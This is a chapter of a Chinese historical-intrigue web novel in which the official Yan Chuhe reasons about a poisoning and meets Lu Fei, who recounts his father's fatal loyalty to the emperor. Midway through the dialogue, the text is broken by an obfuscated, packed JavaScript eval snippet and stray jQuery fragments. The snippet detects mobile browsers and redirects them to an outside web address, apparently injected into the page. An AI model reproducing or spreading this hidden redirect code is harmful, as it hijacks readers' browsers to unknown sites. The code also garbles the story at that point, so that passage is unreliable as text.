春州，阳春县，州衙门，


    四时流转不由人，晏楚鹤初至春州时尚在隆冬，她在这儿过了个特别的年关，一转眼又是夏日将至。


    晏楚鹤换下防寒的衣物，倚在床榻边，独自出了神。


    过几个月，同在春州一手遮天的司马林锵周旋，可比在京里对付那些自身难保的世家要困难多了。不过，她蛰伏许久，真正开始动手后，事情反而出乎意料地顺利。


    又或者说，林锵，春州，本就是外强中干，勉强维持平静。


    官府财库空空如也，林司马看似富庶，却在晏楚鹤的几次逼迫下始终未动用分毫。若那些金银真是他自己的，他断不会这般束手束脚。


    还有动乱，皇帝昏庸、天灾频仍的年景，地方不乱才是不合常理。再加上，春州先前的太守一个接着一个死，格外乱。


    再谈此地商业百废待兴，是以，她同晏季华的生意才会这样快就有起色……此间种种结合，想来，在她来之前，这林司马的生活也未必多肆意。


    他背后又会是谁？


    晏楚鹤垂着眼呼出一口气，又看向窗外，新生的枝叶在风中摇曳，春意正盛，同一旁的枯树对比鲜明。


    如果是她猜想的那样……那封信，对方此刻应当已经收到了。


    是窦怀谦的死给了她启发。


    中毒，他身边人的被买通——晏楚鹤第一个怀疑的是那位燕王妃赵观澜。毕竟京中最新的信件，这位礼部尚书已经改投了王皇后的三皇子。但根据令狐暄的描述，似乎不是这样。


    窦怀谦在京中没有根基，防得住明枪却防不住暗箭。晏楚鹤当御史时也遇到过这样的情况，她只懂几分药理，便选择一切从简，亲力亲为。窦怀谦却是碍于身份没得选。


    贵妃在宫外亦是如此，缺乏人手，所以当时才会扶持她晏楚鹤当上女官……这样说来，昭宁公主窦沅却是在京中仆役众多，又是空有野心之人，极有可能受人蛊惑做出这种事——前朝曾在没有贤才时就曾立过皇太女。


    此外，那毒极其特别，防不胜防，它能令身体强健之人初时出现风寒症状，毒气如春雪消融悄然渗入肺腑经络，使人气息渐弱、咳声渐深，却似病去如抽丝。待病状明显时，再补救也无济于事。晏楚鹤在蜀地没有见过这种毒，亦不知是哪个世家的阴毒手段。


    更狠的是，这毒行尽即散，不留余毒，不染血脉。人一断气，体内便再寻不到半点异常。


    比起微妙的下毒者，她倒是意外发现了另一个曾被忽略的关节。


    此毒晚期的症状似痨病初起，传染性极强……若前任武昌侯路勤礼出现此类症状，以他一贯爱民如子、恪守礼教的性子，必会自避于人群，免传病气。


    这便是晏楚鹤突然惊觉的盲点。


    路勤礼出现在郊区，并非他自己所愿。


    有人逼迫他去送死，有人故意编造出前朝余孽的谎言，有人因此大为获利，从众多世家子弟中脱颖而出，得到皇帝的看重。


    ……只有一个人。


    “太守大人——武昌侯、武昌侯已经到府门外了！！！”小红姐扶着门框，胸脯还在剧烈起伏着，她刚从驿丞那儿得了消息，便一刻也不敢耽搁，飞奔来找晏楚鹤。


    晏楚鹤立刻把手中的暖炉搁在一旁，抓起床榻上随意放的外袍，边快步走边道：“京都的高官怎么突然来这里？”


    算着时日，再看到那封信之后，纵使日夜兼程，也至少还要一日才能来她这。


    小红快速答道：“听说是走的官道，具体是干什么得还不清楚，只道车驾已经到城外了！”


    ……


    城门外，


    官道上正有一列小有规模的青盖车队缓缓而行，显然衣服奉皇帝的命令出行的样子。晏楚鹤眯着眼仔细望去，路斐策马在前，一身春服配着浅色薄裘，看不清眉目，那独一份的气质却已叫人心生戒备。


    她停了，这车队也跟着停住。


    晏楚鹤神色未动，翻身下马，声音随着风向送了出去：“武昌侯大人，半年前京都一别，尚闻贵体欠安，今日一见，倒是风姿更胜往昔。”


    车队前一人翻身从黑马利落地跃下，走近了些：“晏太守客气，只是——您拦在这儿，可是不让我们侯爷进春州？”没记错的话，说话的是位叫做阿顺的小厮。


    “侯爷奉皇名为圣上办事，要务在身，怎可为春州琐事所耽搁。”晏楚鹤边说，边朝北方京师方向拱手一揖，又是观察着不远处那人。


    路斐却是毫不客气地策马徐行过来，至她前几步才停下，勾着嘴角，一副皮笑肉不笑的样子：“晏太守多虑了。此行虽承天恩，却也不急在这一时半刻。”


    晏楚鹤懒得抬头看他，转而对着那小厮，道：“既如此，侯爷有话，不妨便在此处明言。”


    “在何处说，不是说？”路斐轻笑一声，马鞭朝远处荒野随意一指，“不如请晏太守任择一个方向，你我同去。走上数十步，遇着的第一处落脚地——便是个破庙荒祠，也算是个清净说话处。”


    这阳春县郊外，晏楚鹤平日确少踏足。路斐一来自信晏楚鹤与他无冤无仇不会害他，二来料定她在此处难有布置，这才敢如此提议。


    晏楚鹤心中亦有一番衡量，她对自己指的方向也有信心，路斐再怎么神通广大也休想提前准备，便也点头。路斐这才下了马车，挥手令随行侍从往驿站歇息等候。


    晏楚鹤轻功本佳，若真施展起来，路斐绝非她的对手。但她并未抢先，只敛了气息，跟在路斐身后。两人一路上无话，直至一处废弃驿亭。


    亭顶半塌，木柱斑驳，恰好立着两个石凳，覆着一层凉意。晏楚鹤方才行路时正火热的气血又冷了下来。她调整衣服坐好，便静静地看向路斐，


    她等着路斐开口。


    她想说的，信上已经写得很清楚了。


    路斐自然明白她的意思，只觉得浑身上下凉得慌，眼下的情形更是让他不由得倒吸了口气——他一路赶来，装得从容，其实连衣服都没换。毕竟，晏楚鹤是他苦心送离京城的一步暗棋，如今更是必须要稳住的要害！可是，这女人来信被他一时疏忽烧了大半，只剩两行没头没尾的话，啧。


    棘手。


    若是让她知道那封信被他烧得差不多，绝对会完蛋吧？路斐按下心绪，依着原先的打算，缓缓开口：“眼下，当真只有你我二人了。”


    “嗯，”晏楚鹤一副略有所思的样子，她皱着眉，果然是开门见山：“来找我，你又有什么事？”


    晏楚鹤的目光不偏不倚，恰如初见时一样。她的眉宇间尽是清正与凛然的本色，而非从前伪装出的，对上位者迎合的浊色。


    眼底也一样，没有试探，算计，简单地只是映着他有些仓促的倒影，让人感觉坦荡又诚恳。


    晏楚鹤不想和他这个有缘之人虚与委蛇。


    路斐只觉喉咙干涩，连带着预先备好的谎言被咽了回去……既如此，或许同样说点无关痛痒的真话更能留住这女人。


    “我父亲和皇帝……是总角之交，哪怕后来生了嫌隙，‘’忠君’二字也是他一生中最看重的。”


    “排在一切之前？”


    路斐点头，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918657|190576||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又道：“排在伦常，是非，甚至良知之前。起初他大概只是帮皇帝构思些应付太傅的功课，同寻常友人一般。


    而后来，我所认识的他，便成了对宫中那些炼丹害命之事视若无睹之人……你也听闻过，前任武昌侯是近年来朝野称颂、百姓爱戴的‘半步圣人’。很难想象吧？人居然可以那么矛盾。”


    他苦笑着，语速不自觉放慢，装作回忆的模样：“十岁那年，我刚被接回侯府后不久，曾私下花钱替一位奴隶赎身。那人自己残疾，家中还有病重的老母和妻儿，明明不合制度却不知怎地被选中服徭役，又不知怎地变成了奴隶。我父亲发现后，起先还颇为欣慰，说我终于有点儒者的样子了，但是，”


    说到这，路斐眼神闪动，斟酌着语句，“他在得知那个男子是宫中道士选中的丹引之一后，他——”


    话音戛然而止。


    “他神情大变？”晏楚鹤忽然开口。


    路斐一怔，猛地又想起自己父亲那张不苟言笑的脸在那时，竟然罕见地浮现出近乎诡异的情绪，难看的像是被各种东西撕扯。是情谊？伦理？仁心？路斐记不太清，只记得他父亲最后还是罚他抄书认错，那个人最后还是被送进了宫中，成了作丹引的奴隶。


    现在想想，那不过是一张道貌岸然的伪君子嘴脸罢。


    思及此，他的‘叙述’再次流畅起来：“是以，当我告诉他，寻到了一群身怀经世之才的仁人志士，有心辅佐陛下重归圣明。我父亲那时明明缠绵病榻，说话都费力，却还是被我递给他的策论吸引，露出衷心的笑容。”


    那笑容从不曾对他展现过，路斐咽了咽，话锋一转：“他想见到这些人的心思愈发强烈，直到听我说明是前朝的人后才褪去——他其实是知道的，所谓前朝余孽并非大夏朝宣扬的那般可恶，而是另有隐情——我当时满脑子只想着一件事，


    在‘忠君’之前，出现一条真正可以改变国家的道路，我父亲会不会有所转变。”


    没有。


    路勤礼假意答应，拖着病体，不问情由，不辨真假，带上了家传的宝刀——路斐回忆着，终是叹了口气，总结道：“……他打定主意要在死前替皇帝除掉威胁。我察觉时，已经来不及阻止了。”


    没说出的话还有很多，晏楚鹤同样在思索着，路斐从前无法入仕，大概也是这位父亲为向君主表忠，主动牺牲了儿子的前途。


    她对路勤礼的了解有限，连她都听过他少时的孝名，似乎是为了给病中长辈在冬日中吃上新鲜鲤鱼，自己脱光衣服在冰上来回摆动，那冬日寒冰竟然自行融化，他也得了鱼。这民间流传的版本已经神乎其神，不知多少可信，也不知他是不是这样要求路斐的。


    ……愚忠的父亲，和离的母亲，残忍的昏君，让人难以形容的他。晏楚鹤猜测下拼凑了七七八八。他说的话大部分是真的，她能感受到其中情绪。


    大概是多年来梦里的羁绊吗？她很难对这个人恶语相向，也很难不相信这个人。


    驿站的风吹得人发寒，晏楚鹤审视的目光却并不寒冷，那样缺少依据理由的信任果然又让路斐不自在，他突然开口：“楚太守，你能理解我吗？”


    晏楚鹤想了想，摇了摇头。


    但她又说道：“嗯，我对你，大概就像是你父亲对景安帝那样的心情。大概是因为缘分吧，再加上——我相信你的初衷。我也有着同样的感受。大夏从上到下，已经糟透了。


    所以，你到底需要我做什么？”


    “……一件特殊的雕刻。”


    一件足以扮演前朝永宁公主的特殊雕刻。